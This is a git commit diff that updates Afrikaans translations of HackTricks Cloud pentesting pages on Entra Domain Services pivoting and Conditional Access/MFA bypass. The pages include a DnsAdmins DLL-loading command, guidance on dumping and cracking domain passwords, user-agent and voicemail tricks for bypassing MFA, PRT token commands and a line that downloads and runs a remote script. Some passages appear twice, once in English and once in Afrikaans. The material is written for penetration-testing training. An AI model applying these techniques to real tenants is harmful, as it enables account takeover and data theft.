Translated ['src/pentesting-cloud/azure-security/az-lateral-movement-clo

This commit is contained in:
Translator
2026-02-12 14:03:06 +00:00
parent b21ac03864
commit 3123c9b91a
5 changed files with 158 additions and 82 deletions

View File

@@ -1,9 +1,9 @@
## Toeskryfing
Ons waardeer jou kennis en moedig jou aan om inhoud te deel. Maak asseblief seker dat jy slegs inhoud oplaai wat jy besit of waarvoor jy toestemming het om dit van die oorspronklike outeur te deel (voeg 'n verwysing na die outeur in die bygevoegde teks of aan die einde van die bladsy wat jy wysig of albei). Jou respek vir intellektuele eiendomsregte bevorder 'n betroubare en wettige deelomgewing vir almal.
## Attribution
Ons waardeer jou kennis en moedig jou aan om inhoud te deel. Maak asseblief seker dat jy slegs inhoud oplaai wat jy besit of waarvoor jy toestemming het om dit van die oorspronklike skrywer te deel (voeg n verwysing na die skrywer in by die bygevoegde teks of aan die einde van die bladsy wat jy wysig of albei). Jou respek vir intellektuele eiendomsregte bevorder n betroubare en wettige deelomgewing vir almal.
## HackTricks Opleiding
As jy byvoeg sodat jy die [ARTE sertifisering](https://training.hacktricks.xyz/courses/arte) eksamen met 2 vlae in plaas van 3 kan slaag, moet jy die PR `arte-<gebruikersnaam>` noem.
## HackTricks Training
As jy n PR stuur sodat jy die [ARTE certification](https://hacktricks-training.com/courses/arte) eksamen met 2 flags in plaas van 3 kan slaag, moet jy die PR noem `arte-<username>`, `grte-<username>` of `azrte-<username>`, afhangend van watter sertifisering jy doen.
Onthou ook dat grammatika/sintaksis regstellings nie aanvaar sal word vir die eksamenvlag vermindering nie.
Onthou ook dat grammatika-/sintaksisregstellings nie aanvaar sal word vir die vermindering van die eksamen flags nie.
In elk geval, dankie dat jy bydra tot HackTricks!

View File

@@ -1,14 +1,14 @@
> [!TIP]
> Leer en oefen AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Leer en oefen GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Leer en oefen Azure Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Leer & oefen AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://hacktricks-training.com/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Leer & oefen GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://hacktricks-training.com/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Leer & oefen Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://hacktricks-training.com/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Ondersteun HackTricks</summary>
>
> - Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
> - **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
> - Kyk na die [**subscription plans**](https://github.com/sponsors/carlospolop)!
> - **Sluit aan by die** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) of die [**telegram group**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Deel hacking tricks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>

View File

@@ -4,42 +4,50 @@
## Domain Services
Microsoft Entra Domain Services stel jou in staat om 'n Active Directory in Azure te ontplooi sonder om Domain Controllers te bestuur (werklik het jy nie eens toegang tot hulle nie).
Microsoft Entra Domain Services laat toe om 'n Active Directory in Azure te ontplooi sonder dat jy Domain Controllers hoef te bestuur (jy het eintlik nie eers toegang tot hulle nie).
Die hoofdoel is om jou toe te laat om erfenis toepassings in die wolk te laat loop wat nie moderne verifikasietegnieke kan gebruik nie, of waar jy nie wil hê dat gidsopsoeke altyd na 'n plaaslike AD DS-omgewing moet teruggaan nie.
Die hoofdoel is om jou toe te laat om legacy-toepassings in die cloud te laat loop wat nie moderne autentiseringsmetodes kan gebruik nie, of waar jy nie wil hê dat directory-opsoeke altyd terug na 'n on-premises AD DS-omgewing moet gaan nie.
Let daarop dat om die gebruikers wat in Entra ID gegenereer is (en nie van ander aktiewe gidse gesinkroniseer is nie) na die AD-domeindiens te sinkroniseer, jy die **wagwoord van die gebruiker** na 'n nuwe een moet **verander** sodat dit met die nuwe AD gesinkroniseer kan word. Werklik, die gebruiker word nie van Microsoft Entra ID na Domeindienste gesinkroniseer nie totdat die wagwoord verander is.
Let daarop dat om die gebruikers wat in Entra ID gegenereer is (en nie vanaf ander active directories gesinchroniseer is nie) na die AD domain service te sinchroniseer, jy die **wagwoord van die gebruiker** na 'n nuwe een moet **verander** sodat dit met die nuwe AD gesinchroniseer kan word. In werklikheid word die gebruiker nie vanaf Microsoft Entra ID na Domain Services gesinchroniseer totdat die wagwoord verander is nie.
> [!WARNING]
> Selfs as jy 'n nuwe aktiewe gidse domein skep, sal jy dit nie heeltemal kan bestuur nie (tenzij jy sommige miskonfigurasies benut), wat beteken dat jy byvoorbeeld nie gebruikers direk in die AD kan skep nie. Jy skep hulle deur **gebruikers van Entra ID te sinkroniseer.** Jy kan aandui om alle gebruikers te sinkroniseer (selfs dié wat van ander plaaslike AD's gesinkroniseer is), slegs wolkgebruikers (gebruikers geskep in Entra ID), of selfs **hulle meer te filter**.
> Selfs as jy 'n nuwe active directory-domein skep, sal jy dit nie heeltemal kan bestuur nie (tensy jy sekere misconfigurations misbruik), wat beteken dat jy by verstek byvoorbeeld nie gebruikers direk in die AD kan skep nie. Jy skep hulle deur **gebruikers vanaf Entra ID te sinchroniseer.** Jy kan aandui om alle gebruikers te sinchroniseer (selfs dié wat vanaf ander on-premise AD's gesinkroniseer is), slegs cloud-gebruikers (gebruikers geskep in Entra ID), of selfs **meer te filter**.
> [!NOTE]
> In die algemeen, weens die gebrek aan buigsaamheid in die konfigurasie van die nuwe domein en die feit dat AD's gewoonlik reeds plaaslik is, is dit nie die hoofintegrasie tussen Entra ID en AD nie, maar steeds interessant om te weet hoe om dit te kompromitteer.
> Oor die algemeen, as gevolg van die gebrek aan buigbaarheid in die konfigurasie van die nuwe domein en die feit dat AD's gewoonlik alreeds on-premise is, is dit nie die hoofintegrasie tussen Entra ID en AD nie, maar dit is steeds interessant om te weet hoe dit gekompromitteer kan word.
### Pivoting
Lede van die gegenereerde **`AAD DC Administrators`** groep ontvang plaaslike admin regte op VM's wat aan die bestuurde domein gekoppel is (maar nie in die domein controllers nie) omdat hulle by die plaaslike administrateursgroep gevoeg word. Lede van hierdie groep kan ook **Remote Desktop gebruik om afstand te neem na domein-gekoppelde VM's**, en is ook lede van die groepe:
Lede van die gegenereerde **`AAD DC Administrators`** groep kry plaaslike admin-permissies op VMs wat domain-joined is aan die managed domain (maar nie op die domain controllers nie) omdat hulle by die local administrators-groep gevoeg word. Lede van hierdie groep kan ook **Remote Desktop gebruik om op afstand aan domain-joined VMs te koppel**, en is ook lede van die groepe:
- **`Denied RODC Password Replication Group`**: Dit is 'n groep wat gebruikers en groepe spesifiseer wie se wagwoorde nie op RODCs (Read-Only Domain Controllers) gebuffer kan word nie.
- **`Group Policy Creators Owners`**: Hierdie groep stel lede in staat om Groep Beleide in die domein te skep. egter, sy lede kan nie groepbeleide op gebruikers of groepe toepas of bestaande GPO's redigeer nie, so dit is nie so interessant in hierdie omgewing nie.
- **`DnsAdmins`**: Hierdie groep stel jou in staat om die DNS-instellings te bestuur en is in die verlede misbruik om [regte te verhoog en die domein te kompromitteer](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins), egter na die toets van die aanval in hierdie omgewing is dit nagegaan dat die kwesbaarheid reggestel is:
- **`Denied RODC Password Replication Group`**: Dit is 'n groep wat gebruikers en groepe spesifiseer wie se wagwoorde nie op RODCs (Read-Only Domain Controllers) gekas kan word nie.
- **`Group Policy Creators Owners`**: Hierdie groep laat lede toe om Group Policies in die domein te skep. Hulle kan egter nie group policies op gebruikers of groepe toepas of bestaande GPOs wysig nie, so dit is nie besonder interessant in hierdie omgewing nie.
- **`DnsAdmins`**: Hierdie groep laat toe om die DNS-instellings te bestuur en is in die verlede misbruik om [escalate privileges and compromise the domain](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins), maar na toetsing van die aanval in hierdie omgewing is daar gekontroleer dat die kwetsbaarheid gepatch is:
```text
dnscmd TDW52Y80ZE26M1K.azure.training.hacktricks.xyz /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll
dnscmd TDW52Y80ZE26M1K.azure.hacktricks-training.com /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll
DNS Server failed to reset registry property.
Status = 5 (0x00000005)
Command failed: ERROR_ACCESS_DENIED 5 0x5
```
Let wel dat om hierdie toestemmings toe te ken, die groep **`AAD DC Administrators`** binne die AD 'n lid van die vorige groepe gemaak word, en ook die GPO **`AADDC Computers GPO`** voeg as Plaaslike Administrators al die lede van die domeingroep **`AAD DC Administrators`** by.
Note that to grant these permissions, inside the AD the group **`AAD DC Administrators`** group is made a member of the previous groups, and also the GPO **`AADDC Computers GPO`** is adding as Local Administrators all the members of the domain group **`AAD DC Administrators`**.
Pivotering van Entra ID na 'n AD wat met Domein Dienste geskep is, is eenvoudig, voeg net 'n gebruiker by die groep **`AAD DC Administrators`**, toegang via RDP tot enige/alle masjiene in die domein en jy sal in staat wees om data te steel en ook **die domein te kompromitteer.**
Neem kennis dat om hierdie toestemmings te verleen, binne die AD die groep **`AAD DC Administrators`** 'n lid van die vorige groepe gemaak word, en dat die GPO **`AADDC Computers GPO`** alle lede van die domeingroep **`AAD DC Administrators`** as Local Administrators toevoeg.
Echter, pivotering van die domein na Entra ID is nie so maklik nie, aangesien niks van die domein in Entra ID gesinkroniseer word nie. Kyk egter altyd na die metadata van al die VM's wat aangesluit is, aangesien hul toegewyde bestuurde identiteite dalk interessante toestemmings kan hê. Dump ook **alle gebruikers se wagwoorde van die domein** en probeer om dit te kraak om dan in te log op Entra ID / Azure.
Pivoting from Entra ID to an AD created with Domain Services is straightforward, just add a user into the group **`AAD DC Administrators`**, access via RDP to any/all the machines in the domain and you will be able to steal data and also **compromise the domain.**
Pivoting van Entra ID na 'n AD wat met Domain Services geskep is, is reguit vooruit — voeg net 'n gebruiker by die groep **`AAD DC Administrators`**, kry toegang via RDP tot enige/alle masjiene in die domein, en jy sal data kan steel en ook **compromise the domain.**
However, pivoting from the domain to Entra ID is not as easy as nothing from the domain is being synchronized into Entra ID. However, always checn the metadata to all the VMs joined as their assigned managed identities might have interesting permissions. Also **dump all the users passwords from the domain** and try to crack them to then login into Entra ID / Azure.
Daarenteen is pivoting van die domein na Entra ID nie so maklik nie, aangesien niks van die domein na Entra ID gesinchroniseer word. Kontroleer egter altyd die metadata van al die VMs wat aangesluit is, aangesien hul toegekende managed identities moontlik interessante permissies het. Ook **dump all the users passwords from the domain** en probeer om hulle te crack om dan te login into Entra ID / Azure.
> [!NOTE]
> Let wel dat daar in die verlede ander kwesbaarhede in hierdie bestuurde AD gevind is wat toegelaat het om die DC's te kompromitteer, [soos hierdie een](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). 'n Aanvaller wat die DC kompromitteer, kan baie maklik volharding handhaaf sonder dat die Azure administrateurs dit opgemerk het of selfs in staat is om dit te verwyder.
> Note that in the past other vulnerabilities in this managed AD were found that allowed to compromise the DCs, [like this one](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). An attacker compromising the DC could very easily maintain persistence without the Azure admins noticing or even being able to remove it.
>
> Neem kennis dat in die verlede ander kwesbaarhede in hierdie managed AD gevind is wat toegelaat het om die DCs te compromise, [like this one](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com). 'n attacker wat die DC compromise, kon baie maklik persistence handhaaf sonder dat die Azure admins dit opgemerk het of selfs kon verwyder.
### Enumerasie
### Enumeration
```bash
# Get configured domain services domains (you can add more subs to check in more subscriptions)
az rest --method post \
@@ -59,7 +67,7 @@ az rest --method post \
# Get domain configuration
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/<domain-name>?api-version=2022-12-01&healthdata=true"
## e.g.
az rest --url "https://management.azure.com/subscriptions/0ce1297c-9153-425d-3229-f51093614377/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/azure.training.hacktricks.xyz?api-version=2022-12-01&healthdata=true"
az rest --url "https://management.azure.com/subscriptions/0ce1297c-9153-425d-3229-f51093614377/resourceGroups/entra-domain-services/providers/Microsoft.AAD/DomainServices/azure.hacktricks-training.com?api-version=2022-12-01&healthdata=true"
# Based on the VNet assigned to the domain services, you can enumerate the VMs in the domain

View File

@@ -1,18 +1,18 @@
# Az - Voorwaardelike Toegang Beleide & MFA Omseiling
# Az - Conditional Access Policies & MFA Bypass
{{#include ../../../../banners/hacktricks-training.md}}
## Basiese Inligting
Azure Voorwaardelike Toegang beleide is reëls wat in Microsoft Azure opgestel is om toegangbeheer tot Azure-dienste en toepassings af te dwing op grond van sekere **voorwaardes**. Hierdie beleide help organisasies om hul hulpbronne te beveilig deur die regte toegangbeheer onder die regte omstandighede toe te pas.\
Voorwaardelike toegang beleide **definieer** basies **Wie** kan toegang hê tot **Wat** van **Waar** en **Hoe**.
Azure Conditional Access policies is reëls wat in Microsoft Azure opgestel word om toegangbeheer tot Azure-dienste en toepassings af te dwing op grond van sekere **voorwaardes**. Hierdie beleide help organisasies om hul hulpbronne te beveilig deur die regte toegangskontroles toe te pas onder die regte omstandighede.\
Conditional access policies bepaal basies **Wie** toegang kan hê tot **Wat** vanaf **Waar** en **Hoe**.
Hier is 'n paar voorbeelde:
1. **Aanmeld Risiko Beleid**: Hierdie beleid kan ingestel word om multi-faktor verifikasie (MFA) te vereis wanneer 'n aanmeld risiko opgespoor word. Byvoorbeeld, as 'n gebruiker se aanmeldgedrag ongewoon is in vergelyking met hul gereelde patroon, soos om van 'n ander land aan te meld, kan die stelsel vra om addisionele verifikasie.
2. **Toestel Nakoming Beleid**: Hierdie beleid kan toegang tot Azure-dienste beperk slegs tot toestelle wat voldoen aan die organisasie se sekuriteitsstandaarde. Byvoorbeeld, toegang kan slegs toegelaat word vanaf toestelle wat op datum antivirus sagteware het of 'n sekere bedryfstelsel weergawe draai.
1. **Sign-In Risk Policy**: Hierdie beleid kan ingestel word om multi-factor authentication (MFA) te vereis wanneer 'n aanmeldingsrisiko opgespoor word. Byvoorbeeld, as 'n gebruiker se aanmeldingsgedrag ongewoon is in vergelyking met hul normale patroon, soos aanmelding vanaf 'n ander land, kan die stelsel vir addisionele verifikasie vra.
2. **Device Compliance Policy**: Hierdie beleid kan toegang tot Azure-dienste beperk slegs tot toestelle wat voldoen aan die organisasie se sekuriteitsstandaarde. Byvoorbeeld, toegang kan slegs toegestaan word vanaf toestelle wat op datum antivirus-sagteware het of 'n bepaalde bedryfstelselweergawe gebruik.
## Opsomming
## Enumeration
```bash
# Get all the policies from Azure without needing any special permission with (idea from https://github.com/LuemmelSec/APEX/blob/main/APEX.ps1)
az rest --method GET --uri 'https://graph.windows.net/<tenant-id>/policies?api-version=1.61-internal' | jq '.value[] | select(.policyType == 18) | {displayName, policyDetail: (.policyDetail[] | fromjson)}'
@@ -20,79 +20,79 @@ az rest --method GET --uri 'https://graph.windows.net/<tenant-id>/policies?api-v
# You need Policy.Read.ConditionalAccess or Policy.Read.All permission in Entra ID
az rest --method get --uri "https://graph.microsoft.com/beta/identity/conditionalAccess/policies"
```
## Voorwaardelike Toegang Beleid Omseilings
## Conditional Access Policies Omseilings
Dit is moontlik dat 'n voorwaardelike toegang beleid **sekere inligting nagaan wat maklik gemanipuleer kan word, wat 'n omseiling van die beleid moontlik maak**. En as die beleid byvoorbeeld MFA gekonfigureer het, sal die aanvaller in staat wees om dit te omseil.
Dit is moontlik dat 'n conditional access policy **sekere inligting kontroleer wat maklik gemanipuleer kan word, wat 'n omseiling van die beleid moontlik maak**. En as byvoorbeeld die beleid MFA konfigureer, sal die aanvaller dit kan omseil.
Wanneer 'n voorwaardelike toegang beleid gekonfigureer word, is dit nodig om die **gebruikers** wat geraak word en **teikenbronne** (soos alle wolk toepassings) aan te dui.
Wanneer 'n conditional access policy gekonfigureer word, moet jy die **users** wat geraak word en die **target resources** (like all cloud apps) aandui.
Dit is ook nodig om die **voorwaardes** te konfigureer wat die beleid sal **aktiveer**:
Dit is ook nodig om die **conditions** wat die beleid sal **trigger** te konfigureer:
- **Netwerk**: IP, IP-reekse en geografiese liggings
- Kan omgegaan word deur 'n VPN of Proxy te gebruik om met 'n land te verbind of te probeer aanmeld vanaf 'n toegelate IP-adres
- **Microsoft risiko's**: Gebruiker risiko, Aanmeld risiko, Insider risiko
- **Toestel platforms**: Enige toestel of kies Android, iOS, Windows phone, Windows, macOS, Linux
- As “Enige toestel” nie gekies is nie, maar al die ander opsies gekies is, is dit moontlik om dit te omseil deur 'n ewekansige gebruikersagent te gebruik wat nie met daardie platforms verband hou nie
- **Kliënt toepassings**: Opsies is “Blaaier”, “Mobiele toepassings en desktop kliënte”, “Exchange ActiveSync kliënte” en Ander kliënte”
- Om aanmelding te omseil met 'n nie-geselecteerde opsie
- **Filter vir toestelle**: Dit is moontlik om 'n reël te genereer wat verband hou met die gebruikte toestel
- **Verifikasie vloei**: Opsies is “Toestel kode vloei” en “Verifikasie oordrag”
- Dit sal nie 'n aanvaller beïnvloed nie, tensy hy probeer om enige van daardie protokolle in 'n phishing poging te misbruik om toegang tot die slagoffer se rekening te verkry
- **Network**: IP, IP ranges en geografiese liggings
- Kan omseil word deur 'n VPN of Proxy te gebruik om na 'n toegelate land te koppel of deur in te teken vanaf 'n toegelate IP-adres
- **Microsoft risks**: User risk, Sign-in risk, Insider risk
- **Device platforms**: “Any device” of kies Android, iOS, Windows phone, Windows, macOS, Linux
- As “Any device” nie gesleep is nie maar al die ander opsies wel, is dit moontlik om dit te omseil deur 'n ewekansige user-agent te gebruik wat nie aan daardie platforms verwant is nie
- **Client apps**: Opsies is “Browser”, “Mobiles apps and desktop clients”, “Exchange ActiveSync clients” en “Other clients”
- Om die login te omseil deur 'n nie-geselekteerde opsie te gebruik
- **Filter for devices**: Dit is moontlik om 'n reël te genereer wat verband hou met die gebruikte toestel
- A**uthentication flows**: Opsies is “Device code flow” and “Authentication transfer”
- Dit sal nie 'n aanvaller raak nie, tensy hy probeer een van daardie protokolle misbruik in 'n phishing-aksie om toegang tot die slagoffer se rekening te kry
Die moontlike **resultate** is: Blokkeer of Gee toegang met potensiële voorwaardes soos vereis MFA, toestel moet voldoen...
Die moontlike **results** is: Block of Grant toegang met potensiële voorwaardes soos vereis MFA, toestel moet compliant wees…
### Toestel Platforms - Toestel Voorwaarde
### Device Platforms - Device Condition
Dit is moontlik om 'n voorwaarde in te stel gebaseer op die **toestel platform** (Android, iOS, Windows, macOS...), egter, dit is gebaseer op die **gebruikersagent** so dit is maklik om te omseil. Selfs **al die opsies MFA afdwing**, as jy 'n **gebruikersagent wat nie erken word nie,** gebruik, sal jy in staat wees om die MFA of blokkeer te omseil:
Dit is moontlik om 'n voorwaarde te stel gebaseer op die **device platform** (Android, iOS, Windows, macOS...), maar dit is gebaseer op die **user-agent**, so dit is maklik om te omseil. Selfs al **maak jy al die opsies MFA afdwingend**, as jy 'n **user-agent gebruik wat nie herken word nie**, sal jy die MFA of blokkering kan omseil:
<figure><img src="../../../../images/image (352).png" alt=""><figcaption></figcaption></figure>
Net om die blaaier **'n onbekende gebruikersagent te laat stuur** (soos `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`) is genoeg om hierdie voorwaarde nie te aktiveer nie.\
Jy kan die gebruikersagent **handmatig** in die ontwikkelaar gereedskap verander:
Net om die browser die **onbekende user-agent stuur** te laat (soos `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`) is genoeg om hierdie voorwaarde nie te aktiveer nie.\
Jy kan die user agent **manueel** verander in die developer tools:
<figure><img src="../../../../images/image (351).png" alt="" width="375"><figcaption></figcaption></figure>
Of gebruik 'n [blaaier uitbreiding soos hierdie een](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en).
Of gebruik 'n [browser extension like this one](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en).
### Ligging: Lande, IP-reekse - Toestel Voorwaarde
### Locations: Countries, IP ranges - Device Condition
As dit in die voorwaardelike beleid ingestel is, kan 'n aanvaller net 'n **VPN** in die **toegelate land** gebruik of probeer om 'n manier te vind om toegang te verkry vanaf 'n **toegelate IP-adres** om hierdie voorwaardes te omseil.
As dit in die conditional policy ingestel is, kan 'n aanvaller net 'n **VPN** in die **allowed country** gebruik of probeer om toegang te kry vanaf 'n **allowed IP address** om hierdie voorwaardes te omseil.
### Wolk Toepassings
### Cloud Apps
Dit is moontlik om **voorwaardelike toegang beleid te konfigureer om te blokkeer of af te dwing** byvoorbeeld MFA wanneer 'n gebruiker probeer om toegang te verkry tot 'n **spesifieke toepassing**:
Dit is moontlik om **conditional access policies te konfigureer om byvoorbeeld MFA te blokkeer of af te dwing** wanneer 'n gebruiker probeer toegang tot 'n **specific app**:
<figure><img src="../../../../images/image (353).png" alt=""><figcaption></figcaption></figure>
Om hierdie beskerming te probeer omseil, moet jy kyk of jy **net in enige toepassing** kan.\
Die hulpmiddel [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) het **talle toepassings-ID's hardgecodeer** en sal probeer om in hulle aan te meld en jou laat weet en selfs die token gee as dit suksesvol is.
Om te probeer om hierdie beskerming te omseil, moet jy kyk of jy in enige application kan aanmeld.\
Die tool [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) het **tens of application IDs hardcoded** en sal probeer om by hulle aan te meld; dit sal jou laat weet en selfs die token gee as dit suksesvol is.
Om **spesifieke toepassings-ID's in spesifieke bronne te toets**, kan jy ook 'n hulpmiddel soos gebruik:
In order to **test specific application IDs in specific resources** you could also use a tool such as:
```bash
roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout
<token>
```
Boonop, dit is ook moontlik om die aanmeldmetode te beskerm (bv. as jy probeer aanmeld vanaf die blaaiers of vanaf 'n desktoptoepassing). Die hulpmiddel [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep) voer 'n paar kontroles uit om te probeer om hierdie beskermings te omseil.
Verder is dit ook moontlik om die aanmeldmetode te beskerm (bv. as jy vanuit die blaaier of vanaf 'n desktop-toepassing probeer aanmeld). Die hulpmiddel [**Invoke-MFASweep**](az-conditional-access-policies-mfa-bypass.md#invoke-mfasweep) voer 'n paar kontroles uit om ook te probeer om hierdie beskermings te omseil.
Die hulpmiddel [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) kan ook vir soortgelyke doeleindes gebruik word, alhoewel dit ononderhoude lyk.
Die hulpmiddel [**donkeytoken**](az-conditional-access-policies-mfa-bypass.md#donkeytoken) kan ook vir soortgelyke doeleindes gebruik word, alhoewel dit ononderhou lyk.
Die hulpmiddel [**ROPCI**](https://github.com/wunderwuzzi23/ropci) kan ook gebruik word om hierdie beskermings te toets en te sien of dit moontlik is om MFAs of blokke te omseil, maar hierdie hulpmiddel werk vanuit 'n **whitebox** perspektief. Jy moet eers die lys van toepassings wat in die tenant toegelaat is aflaai en dan sal dit probeer om in hulle aan te meld.
Die hulpmiddel [**ROPCI**](https://github.com/wunderwuzzi23/ropci) kan ook gebruik word om hierdie beskermings te toets en te sien of dit moontlik is om MFA's of blokkades te omseil, maar hierdie hulpmiddel werk vanuit 'n **whitebox** perspektief. Jy moet eers die lys van Apps wat in die tenant toegelaat is aflaai en dan sal dit probeer om by hulle aan te meld.
## Ander Az MFA Omseilings
## Ander Az MFA-omseilings
### Ringtone
### Beltoon
Een Azure MFA opsie is om **'n oproep te ontvang op die geconfigureerde telefoonnommer** waar die gebruiker gevra sal word om die karakter `#` **te stuur**.
Een Azure MFA-opsie is om 'n oproep na die geconfigureerde telefoonnommer te **ontvang** waarin die gebruiker gevra sal word om die karakter `#` te **stuur**.
> [!CAUTION]
> Aangesien karakters net **tones** is, kan 'n aanvaller die **voicemail** boodskap van die telefoonnommer **kompromitteer**, die boodskap as die **toon van `#`** konfigureer en dan, wanneer die MFA aangevra word, seker maak dat die **slagoffer se telefoon besig is** (dit bel) sodat die Azure oproep na die voicemail omgelei word.
> Aangesien karakters net **toone** is, kan 'n aanvaller die **spraakpos**-boodskap van die telefoonnommer kompromitteer, die boodskap as die **toon van `#`** konfigureer en dan, wanneer MFA versoek word, seker maak dat die **slagoffer se foon besig is** (deur dit te bel) sodat die Azure-oproep na die spraakpos herlei word.
### Nakomingstoestelle
### Voldoenende toestelle
Beleide vra dikwels vir 'n nakomingstoestel of MFA, so 'n **aanvaller kan 'n nakomingstoestel registreer**, 'n **PRT** token kry en **op hierdie manier die MFA omseil**.
Beleide vereis dikwels 'n voldoenende toestel of MFA, so 'n **aanvaller kan 'n voldoenende toestel registreer**, 'n **PRT** token kry en sodoende die MFA **omseil**.
Begin deur 'n **nakomingstoestel in Intune te registreer**, dan **kry die PRT** met:
Begin deur 'n **voldoenende toestel in Intune** te registreer, en kry dan die **PRT** met:
```bash
$prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\<uuid>.pfx -Credentials $credentials
@@ -102,7 +102,7 @@ Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken
<token returned>
```
Vind meer inligting oor hierdie tipe aanval op die volgende bladsy:
Vind meer inligting oor hierdie soort aanval op die volgende bladsy:
{{#ref}}
../../az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md
@@ -112,29 +112,29 @@ Vind meer inligting oor hierdie tipe aanval op die volgende bladsy:
### [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep)
Hierdie skrip verkry 'n paar gebruikersakkrediteer en kyk of dit kan aanmeld in 'n paar toepassings.
Hierdie skrip haal 'n paar gebruikersinlogbewyse en kontroleer of dit by sekere toepassings kan aanmeld.
Dit is nuttig om te sien of jy **nie MFA benodig om aan te meld in 'n paar toepassings nie** wat jy later mag misbruik om **privilegies te verhoog**.
Dit is nuttig om te kyk of jy **nie MFA benodig om by sekere toepassings aan te meld nie** wat jy later dalk kan misbruik om **voorregte te eskaleer**.
### [roadrecon](https://github.com/dirkjanm/ROADtools)
Kry al die beleide
Haal alle beleide op
```bash
roadrecon plugin policies
```
### [Invoke-MFASweep](https://github.com/dafthack/MFASweep)
MFASweep is 'n PowerShell-skrip wat probeer om **in te log op verskeie Microsoft-dienste met 'n verskafde stel geloofsbriewe en sal probeer om te identifiseer of MFA geaktiveer is**. Afhangende van hoe voorwaardelike toegangsbeleide en ander multi-faktor verifikasie-instellings geconfigureer is, kan sommige protokolle eindig as 'n enkele faktor. Dit het ook 'n addisionele kontrole vir ADFS-konfigurasies en kan probeer om in te log op die plaaslike ADFS-bediener indien opgespoor.
MFASweep is 'n PowerShell-skrip wat probeer om **in te teken by verskeie Microsoft-dienste met 'n verskafde stel credentials en sal probeer om te identifiseer of MFA aangeskakel is**. Afhangend van hoe conditional access policies en ander multi-factor authentication-instellings gekonfigureer is, kan sommige protokolle uiteindelik as enkelfaktor agterbly. Dit het ook 'n bykomende kontrole vir ADFS-konfigurasies en kan probeer om by die on-prem ADFS server in te teken indien dit opgespoor word.
```bash
Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
Invoke-MFASweep -Username <username> -Password <pass>
```
### [ROPCI](https://github.com/wunderwuzzi23/ropci)
